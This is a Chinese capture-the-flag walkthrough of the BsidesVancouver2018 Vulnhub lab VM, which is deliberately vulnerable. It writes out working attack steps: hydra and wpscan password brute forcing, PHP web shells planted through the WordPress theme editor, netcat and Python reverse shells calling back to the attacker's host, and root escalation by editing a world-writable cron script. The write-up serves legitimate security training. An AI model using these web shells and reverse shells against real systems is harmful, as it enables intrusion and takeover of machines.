Vulnhub 靶机 BsidesVancouver2018 write up
0x00 靶机搭建
-
下载链接
https://download.vulnhub.com/bsidesvancouver2018/BSides-Vancouver-2018-Workshop.ova
-
运行环境
VirtualBox 仅主机网络 kali 也配置该网卡
-
目标
获取root权限和 flag
0x01 信息收集
-
ip识别
netdiscover -i eth3 -r 192.168.56.0/24 nmap -sP 192.168.56.0/24
都可以
-
端口服务识别
nmap -sC -sV -A -p- 192.168.56.107 -o port.txt
扫描结果
21/tcp open ftp vsftpd 2.3.5 可以匿名登录
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protoc
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
操作系统
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
0x02 漏洞挖掘
21ftp思路
匿名登录ftp 看有没有可利用的文件 get下来
22 ssh思路
爆破
80http 思路
源码,每个功能点,url 目录爆破 robots.txt 漏洞扫描器扫描 cms 等等搜索
步骤一:ftp匿名访问
(1) kali 访问 靶机的ftp
ftp 192.168.56.107
Anonymous
ls
cd public
ls
get users.txt.bk
(2)查看文件内容
发现五个用户名 可以用来爆破 ssh
abatchy,john,mai,anne,doomguy
步骤二:ssh爆破
通过ftp获取到的用户名密码 用hydra 进行 ssh爆破
全靠字典+运气了
(1)以 获得的users.txt.bk 为用户名 爆破
hydra -L -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 10 ssh://192.168.56.107
报错 不能 用密码登录 ssh
经过测试 只有anne可以ssh登录
(2)重新爆破 质保破 anne账号
hydra -l anne -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 10 ssh://192.168.56.107
[22][ssh] host: 192.168.56.107 login: anne password: princess
(3)ssh登录 anne账号
ssh anne@192.168.56.107
princess
登录成功
(4) 提权
sudo -l
发现anne具有 sudo权限
可以执行root 命令
sudo cat /root/flag.txt
通过ssh拿下,再试试 web方向看存在什么漏洞
步骤三:web探测
检查robots.txt
发现是wordpress cms
步骤四:wordpress漏洞利用
(1)确认版本 源码中 找到 4.5
(2)wpscan 用户枚举
wpscan --url http://192.168.56.107/backup_wordpress/ --enumerate u
枚举出 admin 和john 用户
(3)爆破 john 账号密码
wpscan --url http://192.168.56.107/backup_wordpress/ -P /usr/share/wordlists/metasploit/root_userpass.txt -U john
john enigma
(4)登录后台
http://192.168.56.107/backup_wordpress/wp-login.php
(5)后台模板修改 php代码
Appearance—》Editor–》----》Theme Header—》 插入 php 命令执行 小马 <?php system($_GET['cmd']); ?> 最后保存
(6)http://192.168.56.107/backup_wordpress/?cmd=id;ls
system 命令执行成功
步骤五:反弹shell
利用 上边 上传好的 system 一句话木马 反弹
bp 抓包 访问 如下 url
http://192.168.56.107/backup_wordpress/?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.56.137 4444 > /tmp/f
抓包后 将
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.56.137 4444 > /tmp/f
全部 url编码 再放包
反弹shell成功
0x03 提权
步骤六:提权
(1)尝试内核漏洞提权
uname -a 后 用linux提权 建议工具 发现没有可以利用的
(2)翻文件
发现 /usr/local/bin/cleanup 权限为777 的root用户的文件
里边内容为
(3)在其中加入 反弹shell的命令 反弹回去的shell就会使root权限
因为 该系统 存在python 所以可以用python 反弹shell
echo "#!/bin/bash" > cleanup
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.137",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'" >> cleanup
发现 写入的 ip 地址 没有双引号包裹 导致 报错
(4) 写入 一句话木马 蚁剑连接 编辑文件
因此 我在网站目录写入
echo ‘<?php eval($_POST['123456']);?>’ >> caidao.php
然后 蚁剑 连接 修改
修改文件内容
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.137",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(5)kali 开启监听 等待代码自动执行反弹回shell即可
0x04 总结
该靶机 主要考点 ftp 匿名访问 ssh爆破 靠字典了
web wordpress 用户名枚举 密码爆破 可用 wpscan 或bp爆破
后台 getshell 方式
提权 利用 sudo -l 权限
修改 文件 属于root 的777权限的内容反弹回root 的shell